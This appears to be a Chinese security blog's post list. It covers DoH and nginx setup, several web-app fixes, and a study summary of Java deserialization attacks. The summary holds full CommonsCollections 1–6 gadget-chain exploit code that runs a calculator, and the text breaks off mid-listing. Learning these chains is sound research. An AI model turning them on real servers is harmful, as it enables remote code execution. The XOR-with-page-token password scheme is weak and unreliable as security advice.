bookmark_borderDebian 11 配置 DNS over HTTPS(DoH)

close other dns server if necessary

systemctl stop systemd-resolved
systemctl disable systemd-resolved

redirect local dns

echo "nameserver 127.0.0.1" > /etc/resolv.conf

use dnss to perform DoH

apt install dnss

dnss –help
/etc/default/dnss
default is using google dns
https://dns.google/dns-query
https://doh.dns.sb/dns-query

change to cloudflare DNS

sed -i 's#--enable_dns_to_https#--enable_dns_to_https --https_upstream=https://1.1.1.1/dns-query #g' /etc/default/dnss
systemctl restart dnss

test

apt install dnsutils -y
dig jd.com

bookmark_bordernginx对指定端口的TCP和UDP协议进行负载均衡

nginx既可以对tcp协议进行负载均衡,也可以对UDP协议进行负载均衡。
以shadowsock为例,假如我现在有3台shadowsocks:

11.11.11.11:2222
33.33.33.33:4444
55.55.55.55:6666

每台上都同时开了TCP和UDP协议。而且每台上的加密方式和密码都一样。
这点很重要,每台上的加密方式和密码必须一样。
现在我要通过本地nginx实施负载均衡。
以最简单的轮询式(Round Robin)负载为例。
以Debian为例,先安装nginx:

sudo apt install nginx-full -y

修改如下ip和端口,追加到/etc/nginx/nginx.conf 文件中:

# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-udp-load-balancer/
# 放置在/etc/nginx/nginx.conf的 http{} 部分的下面
stream {
    upstream shadowsocks_tcp {
        # By default, NGINX uses the Round Robin algorithm to load balance traffic
        server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
        server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
        server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
    }
    
    upstream shadowsocks_udp {
        # By default, NGINX uses the Round Robin algorithm to load balance traffic
        server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
        server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
        server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
    }
    
    server {
		# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-health-check/
        listen        8388;
        proxy_pass    shadowsocks_tcp;
        proxy_timeout 3s;
        proxy_connect_timeout 1s;
    }
    
    server {
		# https://docs.nginx.com/nginx/admin-guide/load-balancer/udp-health-check/
        listen     8388 udp;
        proxy_pass shadowsocks_udp;
		proxy_timeout   1s;
    }
}

重启nginx使配置生效:

sudo systemctl start nginx.service

然后就可以通过配置ss连接到nginx的8388端口 ,均匀的访问到每个节点。

bookmark_border通过禁用TSO解决无法识别大pcap包的问题

使用TSO(TCP Segmentation Offload) 的网卡,可使一个tcp包携带超过1460大小的数据,导致suricata和wireshark识别不正确。
如果想suricata和wireshark正确的识别大长度的pcap包,需要禁用TSO
在Linux内核中的实现分别是 LSO (Large Send Offload) LRO (Large Receive Offload)
禁用的方法:

ethtool -K ens33 tso off
ethtool -K ens33 gro off
ethtool -K ens33 gso off

并在网卡配置里添加如下:

    offload-tx  off
    offload-sg  off
    offload-tso off
    offload-gso off
    offload-gro off

以我的为例:

root@debian10:~# cat /etc/network/interfaces
......
auto lo
iface lo inet loopback

# The primary network interface
auto ens33
iface ens33 inet dhcp
    offload-tx  off
    offload-sg  off
    offload-tso off
    offload-gso off
    offload-gro off
root@debian10:~#

在windows里禁用,参考

参考:
https://meet-unix.org/2017-02-19-tcp-lso.html
https://forum.suricata.io/t/cant-detect-amq-message/1203/4

bookmark_border账号密码明文传输修复

需求
登录请求的账号密码是明文传输的,可能造成中间人抓取后重放。

实现:
思路

  1. 打开登录页面,页面包含一个token,然后利用token和用户输入的密码做异或运算。这个token存在服务器session中。
  2. 前端加密后传到服务器,服务器用session中的token对加密数据再做一次异或运算即得到密码明文
    3.中间人抓到密文的密码回放,由于token不一致,服务器解密失败。登录失败。

1.
登录表单配置token:

用4位随机数填充页面:

这样在打开登录页面时就生成了一个token:


  1. 在前端做异或运算

取到登录表单中的token , 若token长度小于密码,那token就再拼一次,知道token的长度大于密码的长度才能做异或运算。
然后把token和密码转成unicode的数字形式做异或运算,由于结果的字符很可能时不可读的,转成16进制传输。
服务端用同样的算法,先从session中取出正确的token,用相同的思路再次异或运算得出 密码。

至此,登录密码加密传输完成:

bookmark_border记一次网站验证码添加

需求

在登录页面加验证码功能

登录缺乏验证码保护

实现
思路:

  1. 搞清楚网站框架,调用框架在前台加验证码生成的模块
  2. 修改js,登录携带验证码,并使控制器正确处理验证码
  3. 登录失败刷新验证码

1.
根据simplewind判断是thinkcmf框架

根据目录结构,判断是CMFX框架,上网查了一下,很老的框架,上次更新都在2016年了。
然后基于thinkPHP 3.X的框架。
查阅官方文档https://www.thinkcmf.com/docs/cmfx/special/verifycode.html

grep命令找到登录页面:
themes\shop\Portal\login.html
在form表单添加一个验证码功能

修改public\assets\css\login.css 调节样式。

接下来添加验证码逻辑。

2.
找到点击登录的js
public\assets\js\login.js
取出form表单里的验证码,增加为控判断,不为空登录post请求就带着验证码发送

然后找到对应的Controller,通过请求地址得知,登录验证的逻辑应该在index相关的Controller的jmp_login()的方法中:

结合官方文档:

找到相关位置,先取出验证码,再通过框架接口判断验证码,错误返回错误信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:

JS中弹出返回的信息:

自己定义一个错误代码,用于后面弹出对应错误代码的错误信息。
修改登录的JS,如果失败,弹出错误信息:


  1. 由于系统前端使用了jquery

直接通过jquery在登录失败后刷新验证码图片即可:

最后整个验证码功能基本完成:

bookmark_border记一次网站ID越权修复过程

1.ID遍历
某网站id可遍历,可越权查看别人的实验报告:

2.定位问题:
网站使用thinkCMF框架
通过index.php 定位到网站位于application目录下:

根据URL参数 的特征g=&m=index&a=jump_result&test_id=1533
定位到 test_id 应该位于 index 相关类的jump_result 方法
在Visual Code 用Ctrl Shift F检索application的jump_result 方法,快速定位到问题:

在查询test_id时没有校验身份:

Where条件仅使用test_id作为查询条件。

3.修复

增加身份校验:

$test = M('test')->where(array(['test_id'=>$test_id,'user_id'=>$data['user_id']]))->find();

同时查询test_id和当前用户的user_id即可。
再次尝试越权访问,已无法查看别人的成绩:

bookmark_borderJAVA序列化利用学习:CommonsCollections系列方法总结

本文主要是对Apache CommonsCollections系列的利用方法进行了总结。由于网上已经有太多的分析文章,故未对技术原理做较深入的分析,仅仅是以总结方法为目的。
Apache CommonCollections1-7的利用方法总结如下:

  1. 第一步 准备病毒
  2. 第二步 寻找受体
  3. 第三步 病毒填充到宿主

关于第一步,主要有两种方法:

  1. ChainedTransformer 构造
  2. javassist动态编程生成一个执行命令的类。转化成byte[]类型,填充到某些类(TemplatesImpl)中的“_bytecodes”变量里

关于第二步,主要有两种方法:

  1. 三大Map:LazyMap,TiedMapEntry,HashMap ,对应第一步的第一种方法。
  2. TemplatesImpl类种的_bytecodes可被填充恶意类。对应第一步的第二种方法。

关于第三步,就是用反射把病毒填充到vulnerable的类中,readObject的时候触发病毒。


下面简单了解一下第一步的原理。

通过ChainedTransformer 构造病毒的demo:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerTest {
	public static void main(String[] args) {
		Transformer[] transformers = new Transformer[] {
				/*
				 * ConstantTransformer: Transformer implementation that returns the same
				 * constant each time.(把一个对象转化为常量,并返回)
				 */
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
						new Object[] { "getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
						new Object[] { null, new Object[0] }),
				new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" }) };
		// Runtime.getRuntime().exec("calc");
		/*
		 * ChainedTransformer: Transformer implementation that chains the specified
		 * transformers together. (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
		 */
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform(null);
	}
}

最终 transform() 方法 会在Gnome桌面环境下的kali中弹出计算器。

关于为什么要用ChainedTransformer,引用《浅析 Java 序列化和反序列化》(当中的说法是“通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。”

通过javassist动态编程生成一个执行命令的类的demo:

import java.io.IOException;

import com.hans.CommonCollection2.CommonsCollections2.Placeholder;

import javassist.CannotCompileException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class Javassist {

	public static class Hello {
	    public void say() {
	        System.out.println("Hello");
	    }
	}
	
	public static void main(String[] args) throws CannotCompileException, NotFoundException, InstantiationException, IllegalAccessException, ClassNotFoundException, IOException {
		// TODO Auto-generated method stub
		String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
		
		ClassPool cp = ClassPool.getDefault();
		cp.insertClassPath(new ClassClassPath(Placeholder.class));
		cp.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
		CtClass cc = cp.get(Hello.class.getName());
		cc.setSuperclass(cp.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
		cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
		// 3.设置一个唯一性的class名称
		cc.setName("com.hans.CommonCollections." + System.currentTimeMillis());

		Class c = cc.toClass();
        Hello h = (Hello)c.newInstance();
        //h.say();
	}
}

通过一个demo理解第二步的受体是干嘛的

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class ChainedTransformerTest {
	public static void main(String[] args) {
	   Transformer[] transformers = new Transformer[]{
		/*
		 * ConstantTransformer:
		 * Transformer implementation that returns the same constant each time.(把一个对象转化为常量,并返回)
		 * */
		   new ConstantTransformer(Runtime.class),
		   new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
		   new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
		   new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"gnome-calculator"})
	  };
	  //Runtime.getRuntime().exec("calc");
	   /*
	    * ChainedTransformer:
	    * Transformer implementation that chains the specified transformers together.
	    * (把transformer连接成一条链,对一个对象依次通过链条内的每一个transformer进行转换)
	    * */
	  Transformer chainedTransformer = new ChainedTransformer(transformers);
	  
	  // code execute;
	  //chainedTransformer.transform(null);
	  
	  Map inMap = new HashMap();
	  inMap.put("key", "value");
	  Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
	  /*
	   * Map中的任意项的Key或者Value被修改,相应的Transformer(keyTransformer或者valueTransformer)的transform方法就会被调用。
	   * */
	  for (Iterator iterator = outMap.entrySet().iterator(); iterator.hasNext();){
	      Map.Entry entry = (Map.Entry) iterator.next();
	      entry.setValue("123");
	  }
		
	}
}

在entry.setValue(“123”);处下断点,可以看到,当恶意的chainedTransformer通过decorate()方法填入Map对象后,在进行Map的setValue操作时,会触发transform()方法,触发代码执行。

但是受体的setValue()方法也是需要触发的,因此需要一个可以通过readObject()触发病毒的宿主。


由于CommonsCollections 1-7思路都差不多,都可以套公式(三步走),所以只分析CommonsCollections1,其他的 用上面提到的方法过一下。
下面看具体代码。
CommonsCollections1.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
        
        /*第三步 填充病毒*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections1.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

在 ois.readObject(); 处下断点。Object obj = readObject0(false); 跟进

TC_OBJECT条件跟进:

readSerialData(obj, desc);跟进

在这个方法里就是遍历处理Object对象
slotDesc.invokeReadObject(obj, this); 跟进,其他可以一路F6

直到进入我们的主角,宿主AnnotationInvocationHandler

果然在readObject中有对Map对象的操作。
当进入AnnotationInvocationHandler的invoke方法,跟进Object var6 = this.memberValues.get(var4);
嗯,然后就是触发病毒的transform()了。

图中 iTransformers 就是用反射填充进AnnotationInvocationHandler的恶意链。
这里的LazyMap其实就像是病毒的受体一样,就像是最近新冠病毒最先感染人的肺部一样。
而AnnotationInvocationHandler就像是人体一样,里面装的感染的LazyMap,执行序列化工作的时候就会触发肺部激活病毒。

三步总结:

  1. 准备病毒。利用ChainedTransformer制造出可以执行代码的对象
  2. 寻找受体。把病毒填充到LazyMap,这个LazyMap就行人的肺部一样,作为病毒受体。
  3. 填充病毒。把受感染的肺用反射的技术装到宿主(AnnotationInvocationHandler)上。

下面用这个方法把 2-7的POC概括一下:

CommonsCollections2.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        
        /*第一步 准备病毒*/
        
		// 1.使用一个自定义的满足条件的恶意模板类StubTransletPayload
		// 满足条件5:恶意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。
        //Javassist包中建立一个容器
        ClassPool classPool = ClassPool.getDefault();
        //添加自定义的恶意模板类StubTransletPayload的路径至容器的Classpath
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
        
        //从Classpath中寻找自定义的恶意模板类StubTransletPayload,引入它,之后对它进行修改
        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
		// 2.在自定义恶意类中添加静态模块,一句Rumtime.exec,命令从外部引入
		// 满足条件6:需要执行的恶意代码写在类的静态方法或构造方法中。
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");"); // 这里 insertBefore 还是 After 都一样
        // 3.设置一个唯一性的class名称
        placeholder.setName("com.hans.CommonCollection2." + System.currentTimeMillis());

        // 4. 把我们的自定义的恶意类转化成byte数组模式
        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        
        // 动态获取 TemplatesImpl 对象
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 反射的方式修改对象
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");

        /*第三步 病毒填充到宿主。*/
        
        // InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
        // comparator 是后续方法调用的参数。
        InvokerTransformer<?, ?> invokerTransformer = new InvokerTransformer<Object, Object>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator<?, ?> comparator = new TransformingComparator<Object, Object>((Transformer<? super Object, ? extends Object>) invokerTransformer);
        PriorityQueue<Integer> queue = new PriorityQueue<Integer>(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        // 宿主被填充进 PriorityQueue
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections2.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

javassist 动态生成病毒,TemplatesImpl作为受体,PriorityQueue作为宿主。

CommonsCollections3.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static class Placeholder implements Serializable {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "hans");
        
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备载体*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*3.2 寻找受体*/
        // 反射的方法获取一个lazyMap
        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        /*第三步 病毒填充到宿主。*/
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
        
        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser"));
        oos.writeObject(obj);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections3.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

这一步的话,可以理解为先往细胞(chainedTransformer)内的组织(InstantiateTransformer)填充了病毒,再把受感染的细胞填充到肺部(LazyMap),最后反射到宿主(AnnotationInvocationHandler)。
更像是1和2的综合利用。

CommonsCollections4.java

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
        
        /*第一步 准备病毒*/
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();
        
        /*第二步 寻找受体*/
        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        // 修改templates的_bytecodes变量
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});
        // 修改templates的_name变量
        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");
        
        /*第三步 病毒填充到宿主。*/
        /* 这一步把三步又走了一遍 */
        /*3.1 准备*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        /*3.2 */
        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        
        /*3.3 */
        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser"));
        oos.writeObject(queue);
        oos.close();
        
        FileInputStream fis = new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections4.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

和CommonsCollections3的思路一模一样,就是技术细节略有不同,宿主由AnnotationInvocationHandler换成了PriorityQueue。

CommonsCollections5.java

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CommonsCollections5 {
	//JDK8
    public static void main(String[] args) throws Exception {
    	
    	/*第一步 准备病毒*/
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"gnome-calculator"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        /*第二步 寻找受体*/
        HashMap<String, String> hashMap = new HashMap<String, String>();
        Map<?, ?> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
        
        /*第三步 病毒填充到宿主。*/
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        // invoke method should have parameter and return value, tiedMapEntry is parameter ,badAttributeValueExpException is return value.
        field.set(badAttributeValueExpException, tiedMapEntry);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir") + "/resources/CommonCollections5.ser"));
        ois.readObject();
        ois.close();
    }
}

可以看到,公式带进去,变的只有宿主(BadAttributeValueExpException)。

CommonsCollections6.java

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.nqzero.permit.Permit;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
	public static void main(String[] args) throws Exception {
		
		/*第一步 准备病毒*/
        String command = "gnome-calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        
        /*第二步 寻找受体*/
        final Map innerMap = new HashMap();
        //创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        
        //创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        
        /*第三步 受体填充到宿主。*/
        HashSet map = new HashSet(1);
        map.add("foo");
        
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //取出HashSet对象的成员变量map
        Permit.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
